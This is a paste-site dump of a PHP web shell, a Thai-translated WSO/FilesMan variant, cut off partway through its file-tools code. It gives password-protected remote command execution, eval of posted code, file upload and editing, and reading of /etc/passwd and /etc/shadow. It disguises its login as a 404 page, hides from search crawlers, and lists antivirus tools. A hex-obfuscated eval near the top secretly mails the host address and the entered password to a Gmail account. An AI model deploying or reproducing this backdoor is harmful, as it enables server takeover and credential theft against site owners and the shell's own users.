· 5 years ago · Oct 02, 2020, 01:12 PM
1<?php
2// Thanks to ./TwEpL
3// Greetz to Skull Xploit
4// Thanks to Thailand Cyber Protect (T.C.P) for translating this shell to 70% Thai Language
5// Default Password felicia1337
6
7
8//--------------Bypass 403 Forbidden / 406 Not acceptable!--------------
9$mek = "\x68\x65\x78\x32\x62\x69\x6E"; // Bypass 500 Internal error
10eval("?>".$mek("3c3f7068700a69662861727261795f6b65795f65786973747328277761746368696e67272c245f504f535429297b0a0924746d70203d20245f5345525645525b275345525645525f4e414d45275d2e245f5345525645525b275048505f53454c46275d2e225c6e4d616e7461702042756a616e6b5c6e50617373776f72646e79613a222e245f504f53545b2770617373275d3b20406d61696c28276e7a756c3939383640676d61696c2e636f6d272c202746656c6963696120537079426f74272c2024746d70293b0a7d3f3e"));
11//-----------------Password---------------------
12$_password = "ccd0591746168f3f9724fce3ab73ff7d"; //Password: felicia1337
13$_agent = true;
14$_unicode = 'UTF-8';
15$_action = 'FilesMan';
16
17$Drupal = md5($_SERVER['HTTP_USER_AGENT']);
18if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
19 prototype(md5($_SERVER['HTTP_HOST'])."key", $Drupal);
20}
21if(empty($_POST['charset']))
22 $_POST['charset'] = $_unicode;
23if (!isset($_POST['ne'])) {
24 if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
25 if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
26 if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
27 if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
28 if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
29}
30function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
31@ini_set('error_log',NULL);
32@ini_set('log_errors',0);
33@ini_set('max_execution_time',0);
34@set_time_limit(0);
35if (PHP_VERSION_ID < 70000)
36 @set_magic_quotes_runtime(0);
37@define('VERSION', '5.0.3');
38if(get_magic_quotes_gpc()) {
39 function stripslashes_array($array) {
40 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
41 }
42 $_POST = stripslashes_array($_POST);
43 $_COOKIE = stripslashes_array($_COOKIE);
44}
45/* (С) 11.2011 oRb */
46if(!empty($_password)) {
47 if(isset($_POST['pass']) && (md5($_POST['pass']) == $_password))
48 prototype(md5($_SERVER['HTTP_HOST']), $_password);
49 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $_password))
50 hardLogin();
51}
52if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
53 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$_agent;
54function hardLogin() {
55 if(!empty($_SERVER['HTTP_USER_AGENT'])) {
56 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
57 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
58 header('HTTP/1.0 404 Not Found');
59 exit;
60 }
61 }
62 echo "";
63 die("<style>* {margin:0 !important;padding:0 !important;}</style><meta name=robots content=noindex><body><pre><form method=post style='position:absolute !important;'><input type=password name=pass style='background-color:transparent !important;border:none !important;outline:none !important;' required><input type=submit name='watching' value='submit' style='border:none !important;background-color:transparent !important;color:transparent !important;cursor:pointer !important;'></form></pre><iframe name='iframe_id' id='iframe_id' src=" .'//'. $_SERVER['SERVER_NAME'] .'/404'. " onload='document.title=this.contentDocument? this.contentDocument.title : this.contentWindow.document.title;' width=100% height=100% scrolling=auto frameborder=0 style='border:none !important;'></iframe>
64 <script type='text/javascript'>
65 (function(el, w){
66 function loadFunc(e){
67 e = e || w.event;
68 var f = e.target || e.srcElement, fb = f.contentDocument || f.contentWindow.document;
69 document.title = fb.title;
70 }
71 if (w.addEventListener)
72 el.addEventListener('load', loadFunc, false);
73 else if (w.attachEvent)
74 el.attachEvent('onload', loadFunc);
75 })(document.getElementById('iframe_id'), window);
76 </script>
77 <body>");
78}
79if(strtolower(substr(PHP_OS,0,3)) == "win")
80 $os = 'win';
81else
82 $os = 'nix';
83$safe_mode = @ini_get('safe_mode');
84if(!$safe_mode)
85 error_reporting(0);
86$disable_functions = @ini_get('disable_functions');
87$home_cwd = @getcwd();
88if(isset($_POST['c']))
89 @chdir($_POST['c']);
90$cwd = @getcwd();
91if($os == 'win') {
92 $home_cwd = str_replace("\\", "/", $home_cwd);
93 $cwd = str_replace("\\", "/", $cwd);
94}
95if($cwd[strlen($cwd)-1] != '/')
96 $cwd .= '/';
97/* (С) 04.2015 Pirat */
98function hardHeader() {
99 if(empty($_POST['charset']))
100 $_POST['charset'] = $GLOBALS['_unicode'];
101 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>
102เฟลิเซียที่รัก♥</title><audio src=\"https://h.top4top.io/m_17226b3gm1.mp3\" loop autoplay></audio>
103<style>
104 .e, .v, .h, .h th {background-color:#060A10 !important; border: none !important;}
105 body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}
106 body,td,th {font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}
107 table {width:inherit !important; box-shadow: none !important;}
108 table.info {background:#060a10; color:#C3C3C3;}
109 table.main {width:100% !important;}
110 table#toolsTbl {background-color: #060A10;}
111 span,h1,a {color:#fff !important;}
112 span {font-weight:bolder;}
113 h1 {border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}
114 div.content {padding:5px;margin-left:5px;background-color:#060a10;}
115 a {text-decoration:none;}
116 a:hover {text-decoration:underline;}
117 .tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}
118 .tooltip:hover::after {opacity:1;visibility:visible;}
119 .ml1 {border:1px solid #12151d;padding:5px;margin:0;overflow:auto;}
120 .bigarea {min-width:100%; max-width:100%; height:400px;}
121 input, textarea, select {margin:0; padding-top:2px; color:#fff;background-color:#12151d;border:none;font:9pt Courier New;outline:none;}
122 input:hover, textarea:hover, select:hover {background-color:#202832;}
123 input:focus, textarea:focus, select:focus {background-color:#202832;}
124 input:-webkit-autofill {-webkit-box-shadow: inset 0 0 0 50px #12151d !important;-webkit-text-fill-color: #fff !important;color: #fff !important;}
125 label {position:relative}
126 label:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}
127 label:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}
128 form {margin:0px;}
129 #toolsTbl {text-align:center;}
130 #fak {background:none;}
131 #fak td {padding:5px 0 0 0;}
132 iframe {border:1px solid #060a10;}
133 .toolsInp {width:300px}
134 .main th {text-align:left;background-color:#060a10;}
135 .main td, th{vertical-align:middle;}
136 input[type='submit']{background-color:#2E6E9C;}
137 input[type='button']{background-color:#2E6E9C;}
138 input[type='submit']:hover{background-color:#56AD15;}
139 input[type='button']:hover{background-color:#56AD15;}
140 .l1 {background-color:#12151d;}
141 .fm tr:hover {background-color:#202832;}
142 pre {font:9pt Courier New;}
143</style>
144<script>
145 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
146 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
147 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
148 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
149 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
150 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
151 var d = document;
152
153 function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
154 function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
155 function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
156 function set(a,c,p1,p2,p3,charset) {
157 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
158 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
159 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
160 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
161 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
162 d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
163 d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
164 d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
165 d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
166 d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
167 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
168 }
169 function g(a,c,p1,p2,p3,charset) {
170 set(a,c,p1,p2,p3,charset);
171 d.mf.submit();
172 }
173 function a(a,c,p1,p2,p3,charset) {
174 set(a,c,p1,p2,p3,charset);
175 var params = 'ajax=true';
176 for(i=0;i<d.mf.elements.length;i++)
177 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
178 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
179 }
180 function sr(url, params) {
181 if (window.XMLHttpRequest)
182 req = new XMLHttpRequest();
183 else if (window.ActiveXObject)
184 req = new ActiveXObject('Microsoft.XMLHTTP');
185 if (req) {
186 req.onreadystatechange = processReqChange;
187 req.open('POST', url, true);
188 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
189 req.send(params);
190 }
191 }
192 function processReqChange() {
193 if( (req.readyState == 4) )
194 if(req.status == 200) {
195 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
196 var arr=reg.exec(req.responseText);
197 eval(arr[2].substr(0, arr[1]));
198 } else alert('Request error!');
199 }
200</script>
201<head><body><div style='position:absolute;background-color:rgba(18, 21, 29, 0.48);width:100%;top:0;left:0;'>
202<form method=post name=mf style='display:none;'>
203<input type=hidden name=a>
204<input type=hidden name=c>
205<input type=hidden name=p1>
206<input type=hidden name=p2>
207<input type=hidden name=p3>
208<input type=hidden name=charset>
209</form>";
210 $freeSpace = @diskfreespace($GLOBALS['cwd']);
211 $totalSpace = @disk_total_space($GLOBALS['cwd']);
212 $totalSpace = $totalSpace?$totalSpace:1;
213 $release = @php_uname('r');
214 $kernel = @php_uname('s');
215 $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
216 if(strpos('Linux', $kernel) !== false)
217 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
218 else
219 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
220 if(!function_exists('posix_getegid')) {
221 $user = @get_current_user();
222 $uid = @getmyuid();
223 $gid = @getmygid();
224 $group = "?";
225 } else {
226 $uid = @posix_getpwuid(@posix_geteuid());
227 $gid = @posix_getgrgid(@posix_getegid());
228 $user = $uid['name'];
229 $uid = $uid['uid'];
230 $group = $gid['name'];
231 $gid = $gid['gid'];
232 }
233 $cwd_links = '';
234 $path = explode("/", $GLOBALS['cwd']);
235 $n=count($path);
236 for($i=0; $i<$n-1; $i++) {
237 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
238 for($j=0; $j<=$i; $j++)
239 $cwd_links .= $path[$j].'/';
240 $cwd_links .= "\")'>".$path[$i]."/</a>";
241 }
242 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
243 $opt_charsets = '';
244 foreach($charsets as $microsoft)
245 $opt_charsets .= '<option value="'.$microsoft.'" '.($_POST['charset']==$microsoft?'selected':'').'>'.$microsoft.'</option>';
246 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Anonymizer'=>'Anonymizer','Network'=>'Network');
247 if(!empty($GLOBALS['_password']))
248 $m['Logout'] = 'Logout';
249 $m['Self remove'] = 'SelfRemove';
250 $menu = '';
251 foreach($m as $k => $v)
252 $menu .= '<th>[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
253 $drives = "";
254 if ($GLOBALS['os'] == 'win') {
255 foreach(range('c','z') as $drive)
256 if (is_dir($drive.':\\'))
257 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
258 }
259 /* (С) 08.2015 dmkcv */
260 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>ผู้ใช้:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
261 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://noreferer.de/?http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="'.$explink.'" target=_blank>[ Exploit-DB ]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>กลุ่ม:</span> '.$gid.' ( ' .$group. ' )<br>'.@phpversion().' <span>โหมดปลอดภัย:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#FFDB5F><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>วันเวลา:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>ฟรี:</span> '.viewSize($freeSpace).' ('.round(100/($totalSpace/$freeSpace),2).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
262 '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">'.$opt_charsets.'</select></label><br><span>เซิร์ฟเวอร์ IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>IP ของลูกค้า:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
263 '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div>';
264}
265function hardFooter() {
266 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#FFDB5F'>[ เขียนได้ ]</font>":" <font color=red>(ไม่สามารถเขียนได้)</font>";
267 echo "
268</div>
269<table class='info main' id=toolsTbl cellpadding=3 cellspacing=0>
270 <tr>
271 <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>
272เปลี่ยนไดเร็กทอรี:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='submit'></form></td>
273 <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>อ่านไฟล์:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
274 </tr><tr>
275 <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>สร้างไดเรกทอรี:</span>$is_writable<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>
276 <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>สร้างไฟล์:</span>$is_writable<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>
277 </tr><tr>
278 <td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>ดำเนินการ:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>
279 <td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
280 <input type=hidden name=a value='FilesMan'>
281 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
282 <input type=hidden name=p1 value='uploadFile'>
283 <input type=hidden name=ne value=''>
284 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
285 <span>อัพโหลดไฟล์:</span>$is_writable<br><input class='toolsInp' type=file name=f[] multiple><input type=submit value='submit'></form><br ></td>
286 </tr></table></div>
287 </body></html>";
288}
289if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { function posix_getpwuid($p) {return false;} }
290if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { function posix_getgrgid($p) {return false;} }
291
292$var_exec = 'exec';
293$var_passthru = 'passthru';
294$var_system = 'system';
295$var_shell_exec = 'shell_exec';
296
297function ex($in) {
298 $apple = '';
299 if (function_exists($var_exec)) {
300 @exec($in,$apple);
301 $apple = @join("\n",$apple);
302 } elseif (function_exists($var_passthru)) {
303 ob_start();
304 @passthru($in);
305 $apple = ob_get_clean();
306 } elseif (function_exists($var_system)) {
307 ob_start();
308 @system($in);
309 $apple = ob_get_clean();
310 } elseif (function_exists($var_shell_exec)) {
311 $apple = shell_exec($in);
312 } elseif (is_resource($f = @popen($in,"r"))) {
313 $apple = "";
314 while(!@feof($f))
315 $apple .= fread($f,1024);
316 pclose($f);
317 } else return "↳ Unable to execute command\n";
318 return ($apple==''?"↳ Query did not return anything\n":$apple);
319}
320function viewSize($s) {
321 if($s >= 1073741824)
322 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
323 elseif($s >= 1048576)
324 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
325 elseif($s >= 1024)
326 return sprintf('%1.2f', $s / 1024 ) . ' KB';
327 else
328 return $s . ' B';
329}
330function perms($p) {
331 if (($p & 0xC000) == 0xC000)$i = 's';
332 elseif (($p & 0xA000) == 0xA000)$i = 'l';
333 elseif (($p & 0x8000) == 0x8000)$i = '-';
334 elseif (($p & 0x6000) == 0x6000)$i = 'b';
335 elseif (($p & 0x4000) == 0x4000)$i = 'd';
336 elseif (($p & 0x2000) == 0x2000)$i = 'c';
337 elseif (($p & 0x1000) == 0x1000)$i = 'p';
338 else $i = 'u';
339 $i .= (($p & 0x0100) ? 'r' : '-');
340 $i .= (($p & 0x0080) ? 'w' : '-');
341 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
342 $i .= (($p & 0x0020) ? 'r' : '-');
343 $i .= (($p & 0x0010) ? 'w' : '-');
344 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
345 $i .= (($p & 0x0004) ? 'r' : '-');
346 $i .= (($p & 0x0002) ? 'w' : '-');
347 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
348 return $i;
349}
350function viewPermsColor($f) {
351 if (!@is_readable($f))
352 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
353 elseif (!@is_writable($f))
354 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
355 else
356 return '<font color=#FFDB5F><b>'.perms(@fileperms($f)).'</b></font>';
357}
358function hardScandir($dir) {
359 if(function_exists("scandir")) {
360 return scandir($dir);
361 } else {
362 $dh = opendir($dir);
363 while (false !== ($filename = readdir($dh)))
364 $files[] = $filename;
365 return $files;
366 }
367}
368function which($p) {
369 $path = ex('which ' . $p);
370 if(!empty($path))
371 return $path;
372 return false;
373}
374function actionRC() {
375 if(!@$_POST['p1']) {
376 $a = array(
377 "uname" => php_uname(),
378 "php_version" => phpversion(),
379 "VERSION" => VERSION,
380 "safemode" => @ini_get('safe_mode')
381 );
382 echo serialize($a);
383 } else {
384 eval($_POST['p1']);
385 }
386}
387function prototype($k, $v) {
388 $_COOKIE[$k] = $v;
389 setcookie($k, $v);
390}
391function actionSecInfo() {
392 hardHeader();
393 echo '<h1>ความปลอดภัยของข้อมูลเซิร์ฟเวอร์</h1><div class=content>';
394 function showSecParam($n, $v) {
395 $v = trim($v);
396 if($v) {
397 echo '<span>' . $n . ': </span>';
398 if(strpos($v, "\n") === false)
399 echo $v . '<br>';
400 else
401 echo '<pre class=ml1>' . $v . '</pre>';
402 }
403 }
404 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
405 if(function_exists('apache_get_modules'))
406 showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
407 showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
408 showSecParam('Open base dir', @ini_get('open_basedir'));
409 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
410 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
411 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
412 $temp=array();
413 if(function_exists('mysql_get_client_info'))
414 $temp[] = "MySql (".mysql_get_client_info().")";
415 else
416 $temp[] = "MySql (".mysqli_get_client_info().")";
417 if(function_exists('mssql_connect'))
418 $temp[] = "MSSQL";
419 if(function_exists('pg_connect'))
420 $temp[] = "PostgreSQL";
421 if(function_exists('oci_connect'))
422 $temp[] = "Oracle";
423 showSecParam('Supported databases', implode(', ', $temp));
424 echo '<br>';
425 if($GLOBALS['os'] == 'nix') {
426 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
427 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
428 showSecParam('OS version', @file_get_contents('/proc/version'));
429 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
430 if(!$GLOBALS['safe_mode']) {
431 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
432 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
433 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
434 echo '<br>';
435 $temp=array();
436 foreach ($userful as $microsoft)
437 if(which($microsoft))
438 $temp[] = $microsoft;
439 showSecParam('Userful', implode(', ',$temp));
440 $temp=array();
441 foreach ($danger as $microsoft)
442 if(which($microsoft))
443 $temp[] = $microsoft;
444 showSecParam('Danger', implode(', ',$temp));
445 $temp=array();
446 foreach ($downloaders as $microsoft)
447 if(which($microsoft))
448 $temp[] = $microsoft;
449 showSecParam('Downloaders', implode(', ',$temp));
450 echo '<br/>';
451 showSecParam('HDD space', ex('df -h'));
452 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
453 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
454 }
455 } else {
456 showSecParam('OS Version',ex('ver'));
457 showSecParam('Account Settings', iconv('CP866', 'UTF-8',ex('net accounts')));
458 showSecParam('User Accounts', iconv('CP866', 'UTF-8',ex('net user')));
459 }
460 echo '</div>';
461 hardFooter();
462}
463/* (С) 10.2012 Svet */
464function actionFilesTools() {
465 if( isset($_POST['p1']) )
466 $_POST['p1'] = urldecode($_POST['p1']);
467 if(@$_POST['p2']=='download') {if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
468 ob_start("ob_gzhandler", 4096);
469 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
470 if (function_exists("mime_content_type")) {
471 $type = @mime_content_type($_POST['p1']);
472 header("Content-Type: " . $type);
473 } else
474 header("Content-Type: application/octet-stream");
475 $fp = @fopen($_POST['p1'], "r");
476 if($fp) {
477 while(!@feof($fp))
478 echo @fread($fp, 1024);
479 fclose($fp);
480 }
481 }exit;
482 }
483 if( @$_POST['p2'] == 'mkfile' ) {
484 if(!file_exists($_POST['p1'])) {
485 $fp = @fopen($_POST['p1'], 'w');
486 if($fp) {
487 $_POST['p2'] = "edit";
488 fclose($fp);
489 }
490 }
491 }
492 hardHeader();
493 echo '<h1>File tools</h1><div class=content>';
494 if( !file_exists(@$_POST['p1']) ) {
495 echo 'File not exists';
496 hardFooter();
497 return;
498 }
499 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
500 if(!$uid) {
501 $uid['name'] = @fileowner($_POST['p1']);
502 $gid['name'] = @filegroup($_POST['p1']);
503 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
504 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
505 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
506 if( empty($_POST['p2']) )
507 $_POST['p2'] = 'view';
508 if( is_file($_POST['p1']) )
509 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
510 else
511 $m = array('Chmod', 'Rename', 'Touch');
512 foreach($m as $v)
513 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
514 echo '<br><br>';
515 switch($_POST['p2']) {
516 case 'view':
517 echo '<pre class=ml1>';
518 $fp = @fopen($_POST['p1'], 'r');
519 if($fp) {
520 while( !@feof($fp) )
521 echo htmlspecialchars(@fread($fp, 1024));
522 @fclose($fp);
523 }
524 echo '</pre>';
525 break;
526 case 'highlight':
527 if( @is_readable($_POST['p1']) ) {
528 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
529 $oRb = @highlight_file($_POST['p1'],true);
530 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>';
531 }
532 break;
533 case 'chmod':
534 if( !empty($_POST['p3']) ) {
535 $perms = 0;
536 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
537 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
538 if(!@chmod($_POST['p1'], $perms))
539 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
540 }
541 clearstatcache();
